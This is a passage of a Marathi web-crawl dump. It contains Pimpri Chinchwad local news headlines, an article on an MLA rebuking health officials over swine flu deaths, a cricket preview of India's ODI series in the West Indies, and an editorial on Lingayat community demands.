शिक्षण आयुक्त, पुणे - एम.डी. मेडा, पुणे\nरुचेश जयवंशी - उपसचिव, पाणीपुरवठा - आयुक्त, अपंग कल्याण\nएन. के. पाटील - आयुक्त, अपंग कल्याण - प्रशिक्षण\nडॉ. ए. एम. महाजन - जिल्हाधिकारी, अहमदनगर - उपसचिव, पाणी पुरवठा\nएस. आर. जोंधळे - जिल्हाधिकारी, जालना - जिल्हाधिकारी, मुंबई शहर\nसंपदा मेहता - जिल्हाधिकारी, मुंबई शहर - पणन आयुक्त, नवी मुंबई\nएम. जी. आरड - सीईओ, औरंगाबाद जि.प. - आयुक्त, अहमदनगर म.न.पा.\nजी.एस. मांगले - आयुक्त, अहमदनगर म.न.पा. - एम. डी. महानंद\nपवनीत कौर - आदिवाशी विकास प्रकल्प, जव्हार - सीईओ, औरंगाबाद जि.प.\nएच मोडक - अतिरिक्त आयुक्त, आदिवासी विकास, नागपूर\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00244.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/", "date_download": "2018-09-25T17:58:30Z", "digest": "sha1:FELW47ML7XINGTOAPJ3XYC26AWEZMBZ3", "length": 14949, "nlines": 131, "source_domain": "pclive7.com", "title": "PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\nपिंपरी (Pclive7.com):- रावेत बंधाऱ्यातील पाण्याची पातळी कमी झाल्यामुळे अशुद्ध जल उपसा केंद्रातील काही पंप्स का...\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या थकीत मिळकत करावर आकारण्यात आलेल्या मनपा कर शास्तीमध्ये थकबा...\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरात स्वाईन फ्लूने २३ वा बळी घेतला आहे. उस्मानाबाद येथील ६० वर्षीय महिले...\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\nपिंपरी (Pclive7.com):- पिंपरीतील क्रोमा स्टोअरजवळील मोकळ्या जागेत शगुन चौकातील फुलव्यापारी व विक्रेत्यांचे स्थ...\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nपिंपरी (Pclive7.com):- दिशा सोशल फाउंडेशनच्या वतीने ‘झी’ दूरचित्रवाणीवरील लोकप्रिय ‘स्वराज्य...\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या मुख्य कार्यालयाच्या इमारतीमध्ये वैद्यकीय कक्ष सुरू करण्याची...\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरातील गोरगरिबांच्या उपचारासाठी ‘वरदान’ म्हणून ओळखल्या जाणाऱ...\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nपिंपरी (Pclive7.com):- पवना नदी प्रदूषण टाळण्यासाठी नाना काटे सोशल फाउंडेशनच्या या वर्षीही पुढाकार घेण्यात आला...\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nपिंपरी (Pclive7.com):- गणपती बाप्पा मोरया पुढच्या वर्षी लवकर या असा जयघोष करीत, ढोल ताशाच्या गजरात लाडक्या बाप...\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी (Pclive7.com):- हिंजवडी जवळ असलेल्या कासारसाई येथील ऊसतोड मजुरांच्या अल्पवयीन मुलींवर अत्याचार केल्याबद...\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nपिंपरी (Pclive7.com):- दिशा सोशल फाउंडेशनच्या वतीने ‘झी’ दूरचित्रवाणीवरील लोकप्रिय ‘स्वराज्यरक्षक छत्रपती संभाजी महाराज’ या मालिकेच्या प्रमुख कलावंतांच्या प्रकट मुलाखतीचा कार्यक्रम आयोजित करण्यात आला आहे. चिंचवड वाल्...\tRead more\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\nराष्ट्रवादीच्या प्रदेश प्रवक्तेपदी वंदना चव्हाण यांची नियुक्ती\nपिंपरी चिंचवड पोलीस आयुक्तालयासाठी साधनसामुग्री व निधी तातडीने पुरविण्याची मुख्यमंत्र्यांकडे मागणी\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरी (Pclive7.com):- हिंजवडी जवळ असलेल्या कासारसाई येथील ऊसतोड मजुरांच्या अल्पवयीन मुलींवर अत्याचार केल्याबद्दल दोघांना अटक केली होती. याप्रकरणी धक्कादायक खुलासा पीडित मुलीने केला आहे. पीडित मुलीच्या सांगण्यावरून पोलिसांनी तात्काळ आणखी दो...\tRead more\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\nमोदींचं कौशल्य छत्रपती शिवरायांप्रमाणे – योगी आदित्यनाथ\nराष्ट्रवादीच्या प्रदेश प्रवक्तेपदी वंदना चव्हाण यांची नियुक्ती\nपिंपरी चिंचवड पोलीस आयुक्तालयासाठी साधनसामुग्री व निधी तातडीने पुरविण्याची मुख्यमंत्र्यांकडे मागणी\nसर्वसामान्यांसाठी अहोरात्र झटणारा दिग्विजयी नेता…\nपिंपरी (Pclive7.com):- निरंतर प्रयत्न केल्यास अपयशालाही हार मानावी लागते. अशक्य असे काहीच नसते.त्यास...\tRead more\nनिमित्त वाढदिवसाचे.. तयारी विधानसभेची…\nनिमित्त एकनाथ पवारांचा वाढदिवस…नजर भोसरी विधानसभेवर….\nअनिष्ट रूढींना छेद देणारा ‘दशक्रिया’ – दिलीप प्रभावळकर\nपुणे (Pclive7.com):- आजवरच्या कारकिर्दीत ‘दशक्रिया’ सारखा चित्रपट आणि तशी भूमिका कधी साक...\tRead more\n‘माझ्या नवऱ्याची बायको’ फेम शनायाचा ‘कार’नामा\nशुटिंग सुरू असताना सैराटची आर्ची-रिंकू नदीत पडली (व्हिडीओ)\nपिंपरी चिंचवडकरांनी अनुभवली अद्भूत दुर्गापूजा\nपिंपरी चिंचवडमधल्या तरूणाने गॅरेजमध्ये तयार केले चक्क ‘हेलिकॉप्टर’\nपिंपरी (Pclive7.com):- स्वप्नांना पंखांचे बळ मिळाल्यास आपल्या ध्येयापर्यंत पोहोचता येते हे एका मराठी...\tRead more\nमोदींचं कौशल्य छत्रपती शिवरायांप्रमाणे – योगी आदित्यनाथ\nहिंजवडीत दोन अल्पवयीन मुलींवर बलात्कार; एका मुलीचा मृत्यू\nपाकचे माजी पंतप्रधान नवाज शरीफांसह मुलगी आणि जावयाच्या शिक्षेला स्थगिती\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00245.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%86%E0%A4%B0%E0%A5%8B%E0%A4%97%E0%A5%8D%E0%A4%AF-%E0%A4%B5%E0%A4%BF%E0%A4%AD%E0%A4%BE%E0%A4%97%E0%A4%BE%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%85%E0%A4%A7%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B1/", "date_download": "2018-09-25T17:57:24Z", "digest": "sha1:H4MOZPGNAPILE4HPOWT6GVWFGLF64ON2", "length": 8833, "nlines": 71, "source_domain": "pclive7.com", "title": "आरोग्य विभागाच्या अधिकाऱ्यांना आमदार जगतापांनी घेतले फैलावर! | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड आरोग्य विभागाच्या अधिकाऱ्यांना आमदार जगतापांनी घेतले फैलावर\nआरोग्य विभागाच्या अधिकाऱ्यांना आमदार जगतापांनी घेतले फैलावर\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहरात स्वाईन फ्लूने थैमान घातले आहे. आतापर्यंत तब्बल २० लोकांचा मृत्यू झाला, तरीही महापालिकेच्या वैद्यकीय विभागाने आवश्‍यक ती खरबदारी व उपाय-योजना न केल्याने भाजपचे शहराध्यक्ष आमदार लक्ष्मण जगताप यांनी आरोग्य वैद्यकीय अधिकाऱ्यांना चांगलेच फैलावर घेतले. संबंधीत विभागाच्या अधिकारी व कर्मचाऱ्यांनी काम न केल्यास विभाग प्रमुखास जबाबदार धरून त्यांच्यावर कारवाई करण्याचा इशाराही आमदार जगताप यांनी दिला.\n‘ग’ क्षेत्रीय समितीचे अध्यक्ष बाबासाहेब त्रिभुवन यांच्या मागणीनुसार विविध समस्या व प्रश्‍नांबाबत अधिकाऱ्यांची बैठक थेरगाव येथील ‘ग’ क्षेत्रीय कार्यालयात झाली. क्षेत्रीय समिती तेथील समस्या व प्रश्‍नांचा निपटारा व्हावा म्हणून सत्ताधारी भाजपने बैठक आयोजित बैठकीस तब्बल ३ तास महापालिकेचे सर्व अधिकारी उपस्थित होते. महापौर राहुल जाधव, आमदार जगताप, सत्तारूढ पक्षनेते एकनाथ पवार, आयुक्‍त श्रावण हर्डीकर, महापालिकेचे सर्व विभाग प्रमुख, अधिकारी व क्षेत्रीय अधिकारी स्मिता झगडे, पोलीस ठाणे व वाहतूक विभागाचे पोलीस निरीक्षक उपस्थित होते.\nशहरात स्वाईन फ्लूचा संसर्ग वाढला आहे. त्यावर पुणे शहराच्या तुलनेत पिंपरी चिंचवड महापालिकेने काय उपाय-योजना केली असा प्रश्न आमदार जगताप यांनी केला. वायसीएम रुग्णालयातील ओपीडीत दररोज सुमारे हजार रूग्ण का येतात असा प्रश्न आमदार जगताप यांनी केला. वायसीएम रुग्णालयातील ओपीडीत दररोज सुमारे हजार रूग्ण का येतात हा ताण कमी करण्यासाठी महापालिकेने इतर दवाखान्यात सुविधा का दिल्या नाहीत हा ताण कमी करण्यासाठी महापालिकेने इतर दवाखान्यात सुविधा का दिल्या नाहीत त्याकडे दुर्लक्ष का होते, असे प्रश्‍न उपस्थित करीत त्या संदर्भात तातडीने दक्षता घेण्याची सूचना त्यांनी केली. अधिकारी व कर्मचारी काम करीत नसल्यास संबंधित विभाग प्रमुखांवर कारवाई केली जाईल, असा इशाराही त्यांनी दिला. ‘ग’ क्षेत्रीय कार्यालय हद्दीतील स्थापत्य विषयक कामे तातडीने मार्गी लावण्याची सूचना जगताप यांनी अधिकाऱ्यांना केली.\nTags: bjplaxman jagtapPCLIVE7.COMPcmc newsअधिकारीआमदारआरोग्य विभागचिंचवडपिंपरीफैलावरमहापालिकालक्ष्मण जगताप\nप्रेमसंबधातून युवकाचा खून; सराईत गुन्हेगार गजाआड\nपिंपरी चिंचवड भाजपच्या उपाध्यक्षपदी दीपक मोढवे-पाटील यांची निवड\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00245.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.esakal.com/krida-cricket/sporst-news-west-indies-india-cricket-match-54650", "date_download": "2018-09-25T17:35:15Z", "digest": "sha1:UUKRQ44XERMCVKLKXEIGBYL3JPYLJHM6", "length": 15862, "nlines": 208, "source_domain": "www.esakal.com", "title": "sporst news west indies with india cricket match ‘विराटसेना’ पुन्हा मैदानात | eSakal", "raw_content": "\nशुक्रवार, 23 जून 2017\nकुंबळे वादानंतर विंडीजविरुद्धची वन-डे मालिका आजपासून\nपोर्ट ऑफ स्पेन - चॅंपियन्स करंडक स्पर्धेच्या अंतिम सामन्यात पाकिस्तानकडून झालेली हार, त्यानंतर प्रशिक्षक अनिल कुंबळे यांचा राजीनामा अशा घटनांनंतर विराट कोहलीची टीम इंडिया वेस्ट इंडीजविरुद्धच्या एकदिवसीय मालिकेसाठी सज्ज होत आहे. पहिला सामना उद्या (ता. २३) होत आहे. ‘दुबळ्या’ विंडीजला हरवण्यासाठी भारताला मुख्य प्रशिक्षक नसला तरी अवघड नसेल.\nकुंबळे वादानंतर विंडीजविरुद्धची वन-डे मालिका आजपासून\nपोर्ट ऑफ स्पेन - चॅंपियन्स करंडक स्पर्धेच्या अंतिम सामन्यात पाकिस्तानकडून झालेली हार, त्यानंतर प्रशिक्षक अनिल कुंबळे यांचा राजीनामा अशा घटनांनंतर विराट कोहलीची टीम इंडिया वेस्ट इंडीजविरुद्धच्या एकदिवसीय मालिकेसाठी सज्ज होत आहे. पहिला सामना उद्या (ता. २३) होत आहे. ‘दुबळ्या’ विंडीजला हरवण्यासाठी भारताला मुख्य प्रशिक्षक नसला तरी अवघड नसेल.\nपराभव आणि राजीनामा अशा दोन धक्कादायक घटनांनी भारतीय क्रिकेट हादरले आहे; पण त्याचा परिणाम विंडीज दौऱ्यावर होण्याची शक्‍यता कमी आहे. मुख्य प्रशिक्षकाचे मार्गदर्शन मिळणार नसले, तरी फलंदाजीचे प्रशिक्षक संजय बांगर यांच्यासह सपोर्ट स्टाफ दिमतीला कायम आहे. शिवाय पाकिस्तानविरुद्धच्या पराभवानंतर टीम इंडियाला पुन्हा विजयीपथावर आणण्यासाठी विराट कोहली तयार झाला असेल. त्यातच प्रतिस्पर्धी विंडीजचा संघ सध्या क्रिकेटविश्‍वातील प्रमुख संघातील कमजोर संघ म्हणून समजला जात आहे. नुकत्यात झालेल्या अफगाणिस्तानविरुद्धचीही मालिका त्यांना जिंकता आलेली नाही. तीन सामन्यांच्या मालिकेतील दुसरा सामना तर अफगाणिस्तानने जिंकून इतिहास रचला होता.\nभारत आणि विंडीज संघ यामध्ये मोठी तफावत आहे. प्रमुख १३ खेळाडूंचा एकत्रित विचार करता भारतीय संघाकडे २१३ एकदिवसीय सामन्यांचा अनुभव आहे. या तुलनेत विंडीजचा कर्णधार जेसन होल्डर त्यांचा अनुभवी खेळाडू असून, तो आतापर्यंत अवघे ५८ सामने खेळलेला आहे. असे असले तरी भारतीयांना सावध राहावे लागेल. पाकिस्तानविरुद्धच्या पराभवाने त्यांना अस्तित्वाची जाणीव करून दिलेली आहे.\nभारतीय संघाचे वर्चस्व अपेक्षित असल्यामुळे नवोदितांना संधी मिळण्याची शक्‍यता आहे. रोहित शर्मा आणि जसप्रीत बुमरा यांना या दौऱ्यातून विश्रांती दिलेली असल्यामुळे अजिंक्‍य रहाणे आणि महंमद शमी किंवा उमेश यादव असे बदल अपेक्षित आहेत. मुख्य प्रशिक्षक नसल्यामुळे आता अंतिम संघात कोणाला स्थान द्यायचे, याचे सर्वाधिकार विराट कोहलीलाच असतील.\nधोनीचा वारसदार म्हणून पाहिले जात असलेला रिषभ पंत आणि चायनामन कुलदीप यादव यांना या मालिकेत कधी संधी मिळणार, याची उत्सुकता असेल. पहिल्या दोन सामन्यांत तरी धोनी, युवराज, अश्‍विन, जडेजा या प्रमुख खेळाडूंना स्थान दिले जाईल.\n२०१९ च्या विश्‍वकरंडक स्पर्धेवर नजर ठेवून धोनी आणि युवराज यांच्या स्थानाचे मूल्यमापन करावे, असे विधान युवक संघाचे प्रशिक्षक आणि माजी कर्णधार राहुल द्रविड यांनी केल्यामुळे या दोन्ही खेळाडूंच्या कामगिरीवर लक्ष असेल आणि त्यांनाही आपली उपयुक्तता सिद्ध करावी लागेल. असेच दडपण चॅंपियन्स स्पर्धेत अपयशी ठरलेल्या अश्‍विन आणि जडेजा या फिरकी गोलंदाजांवर असेल.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nAsia Cup : धोनी भारताचा पुन्हा 'कर्णधार'\nदुबई : आशिया करंडक स्पर्धेत अफगाणिस्तानविरुद्धच्या सामन्यात भारताचा माजी कर्णधार महेंद्रसिंह धोनीला पुन्हा कर्णधारपदाची जबाबदारी देण्यात आली आहे....\nमालदीवमधील सत्तापालट भारताला अनुकूल\nमालदीवमध्ये काल मतपेटीद्वारे झालेला सत्तापालट भारतासाठी अनुकूल ठरणार असल्याच्या बातम्या सर्वत्र छापून येत आहेत. निवडून आलेले मालदीव डेमॉक्रॅटिक...\nआटपाडी - कारवाईदरम्यान पाच ते सात ब्रास वाळू ताब्यात\nआटपाडी - येथे बेकायदेशीर वाळू साठयावर तलाठ्यानी कारवाई केलयानंतर तहसीलदार सचिन लंगोटे यांनी घटनास्थळी जाऊन दुसर्‍यांदा पंचनामा केला....\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00246.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/538572", "date_download": "2018-09-25T17:24:16Z", "digest": "sha1:IWSIRDERMZTESFNPX7O344WPVG6ZW3TB", "length": 15098, "nlines": 37, "source_domain": "www.tarunbharat.com", "title": "लिंगायत समाजाचा एल्गार - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » संपादकिय / अग्रलेख » लिंगायत समाजाचा एल्गार\nसांगलीत रविवारी पश्चिम महाराष्ट्र आणि सीमाभागातील लिंगायत समाजाने केलेले शक्ती प्रदर्शन आणि भगव्या टोप्या, भगवे झेंडे उंचावत केलेल्या मागण्या यांची शासनाला दखल घ्यावी लागेल. मराठा समाजापाठोपाठ लिंगायत समाजही एकवटला आहे आणि लिंगायत धर्माला स्वतंत्र धर्म म्हणून संविधानिक मान्यता द्या, समाजाला धार्मिक अल्पसंख्याकांचा दर्जा द्या, महात्मा बसवेश्वर आर्थिक विकास महामंडळ स्थापन करा, लिंगायत वचन साहित्य भारतीय भाषात प्रकाशित करा अशा मागण्या केल्या आहेत. एक मराठा लाख मराठा धर्तीवर एक लिंगायत कोटी लिंगायत अशी घोषणा दुमदुमत होती. ‘आम्ही शंभर खासदार पाडू शकतो’ असे यावेळी सांगण्यात आले आणि मागण्या मान्य होत नसतील तर मुंबईत दहा लाख लिंगायत बांधवांच्या भीमटोला द्यावा लागेल असे बजावण्यात आले. सरकार बसवेश्वर जयंतीपर्यंत तरी काही पाऊल उचलते का हे पहावे लागेल. पण, या निमित्ताने आरक्षण, स्वतंत्र अस्तित्व यासाठी देशभर जो विविध जाती, धर्माचा एल्गार सुरू आहे. त्यात लिंगायत समाजाची मागणी अधोरेखित झाली आहे. तशी ही मागणी नवी नाही. मात्र या मागणीचा जोश व रस्त्यावर उतरून एकवटलेली शक्ती वाढती व नवी आहे. मानवता आणि सदाचार हाच धर्माचा पाया असतो, नव्हे असला पाहिजे. यासाठी म. बसवेश्वरांनी बंड केले आणि अंधश्रद्धा आणि अंधविश्वास या विरोधात लोकांना पटवून कर्मकांडात गुंतलेल्या जनांना प्रेरणा दिली आणि लिंगायत धर्माची स्थापना केली. लिंगायत धर्माची भारतभर व्याप्ती असली तरी कर्नाटक-दक्षिण महाराष्ट्र आणि दक्षिण भारतात मोठय़ा संख्येने या धर्माचे अनुयायी आहेत.आपल्या लिंगायत धर्माला स्वातंत्र्यपूर्व स्वतंत्र धर्म म्हणून मान्यता होती व नंतर ती काढून घेतली ती आपणास मिळाली पाहिजे असा या समाजाचा आग्रह आहे. स्वातंत्र्यानंतर गेली अनेक वर्षे या मागणीला सरकार दाद देत नाही म्हणून या समाजाने लोकशाहीतील महत्त्वाचे हत्यार उपसले असून मराठा, धनगर, पटेल, पाटीदार वगैरे अन्य समाजाच्या पावलावर पाऊल ठेवून शक्तीप्रदर्शन सुरू केले आहे. या समाजाच्या मागण्यांना महाराष्ट्रात अनेक राजकीय पक्षांनी पाठिंबा दिला आहे. तद्वत कर्नाटकातही या समाजाच्या मागण्यांना सत्ताधाऱयांसह सर्वांनी समर्थन दिले आहे. या समाजाने कर्नाटक सरकारला 30 डिसेंबरची मुदत दिली आहे आणि जोडीला लिंगायत समाज महाराष्ट्र व इतरत्र विभागवार मोर्चे काढत आहे. समोर लोकसभेच्या आणि विधानसभेच्या निवडणुका आहेत. शक्ती दाखवली तरच मागणी मान्य होते हे लोकशाहीत अनेक वेळा दिसून आले आहे. ओघानेच लिंगायत समाज विविध भागात समाजसंघटन करून आपल्या मागण्यांसाठी आग्रह करतो आहे. मराठा समाजाचे जसे शिस्तबद्ध मोर्चे निघाले तसेच लिंगायत समाजाचे निघत आहेत. गोंधळ नाही, गडबड नाही, राजकीय झेंडे नाहीत, राजकारणी मंडळींना व्यासपीठ नाही हा कित्ता लिंगायत मोर्चातही गिरवला गेला आहे म्हणून सांगलीत रविवारी निघालेल्या महामोर्चात प्रचंड मोर्चेकरी असूनही कोणतीही बेशिस्त नव्हती. सार्वजनिक मालमत्तेचे नुकसान नव्हते वा आदळ आपट नव्हती. महाराष्ट्रात मराठा समाजाने असेच मोर्चे काढले होते. धनगर समाजही असाच झुंजतो आहे आणि अन्य छोटे-मोठे समाज जाती-जमाती आपल्या समाजाच्या वेगवेगळय़ा मागण्या घेऊन रस्त्यावर उतरत आहेत. स्वातंत्र्यानंतर विविध जाती-जमातीत शिक्षणाचे प्रमाण वाढले आहे. लोकांना हक्काची जाणीव होते आहे आणि गती-प्रगतीच्या संधी हव्या आहेत. अत्यंत स्वाभाविक अशी ही भावना आहे. सरकारने वेगवेगळय़ा जाती, धर्मांना वेगवेगळय़ा सवलती व आरक्षण ठेवले आहे. आपला समाज मागे पडू नये असा एक भाव त्यामध्ये आहे. त्याच जोडीला आपल्या जातीतील गरीब, अविकसित मंडळींना नोकरी, व्यापार, शिक्षण यामध्ये चांगली संधी मिळावी अशी भावना आहे. वेगवेगळय़ा विद्यापीठांना विविध थोर पुरुषांची नावे जोडीला आर्थिक विकास महामंडळे आणि सरकारी व निमसरकारी नोकरीत आरक्षण हवे आहे. विविध धर्माच्या, जातीच्या मंडळींनी काढलेल्या शिक्षण संस्थांना विशेष दर्जा हवा आहे. सरकारी धोरण आणि सामाजिक स्थिती, समाजाची गरज लक्षात घेऊन मंडळी पावले टाकत आहेत आणि भाजपा सरकारने केंद्रात व राज्यात सत्तेवर येताना अनेक आश्वासने दिली आहेत. ओघानेच नुसती तोंडाला पाने पुसू नका निर्णय घ्या. या मागणीसाठी लिंगायत, मराठा, पटेल व अन्य मंडळी रस्त्यावर उतरत आहेत. राज्य व केंद्र सरकारला या संदर्भात काही ठोस निर्णय घ्यावे लागतील व लोकांना विश्वासात घेऊन त्यांची अंमलबजावणी करावी लागेल. स्व. अण्णासाहेब पाटील आणि स्व. बाळासाहेब ठाकरे यांनी भुकेलेल्यांना भाकरी आणि गरजूला नोकरी दिली पाहिजे. सरकारी सवलती, नोकऱया, बढत्या आर्थिक निकषावरच असल्या पाहिजेत असे म्हटले होते. भारतीय राजकारणात आरक्षण व मंडळ आयोग याचा किती प्रभाव पडतो हे वारंवार दिसले आहे. वेगवेगळे समाज, वेगवेगळे धर्म-पंथ वेगवेगळय़ा मागण्या घेऊन आज रस्त्यावर उतरत आहेत. पण, त्यांच्या मुखात राष्ट्रगीत आहे. सरकार मग ते कोणत्याही पक्षाचे असो ते लोककल्याणकारी असले पाहिजे आणि घटनेनुसार त्यांचे कामकाज चालले पाहिजे. विविध राजकीय पक्षांनी राजकारणासाठी विविध जाती-धर्म वापरून सत्ता काबीज करायची रणनीती अवलंबल्याने गेली काही वर्षे जात-जमात-धर्माचे राजकारण तीव्र होत आहे. सत्ता काबीज करणाऱया यंत्रणा त्यासाठी वेगवेगळे फॉर्म्येले राबवताना आणि सोशल इंजिनिअरिंगच्या नावाखाली मतपेटय़ात फोडा-झोडा निती अवलंबताना दिसत आहेत. अशावेळी आपण राष्ट्र म्हणूनही विचार केला पाहिजे आणि जे गरीब, मागास व प्रगती, शिक्षणापासून कोसो मैल दूर आहेत त्यांच्या विकासासाठी, सामान्यांसाठी एक दीर्घकालीन धोरण स्वीकारले पाहिजे. राष्ट्र म्हणून या साऱया प्रश्नात सरकारने आणि जनतेने सर्व समावेशक भूमिका घेतली पाहिजे.\nजीएसटीएन : प्रतिदिनी 10 हजार कॉल्स\nPosted in: संपादकिय / अग्रलेख\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई 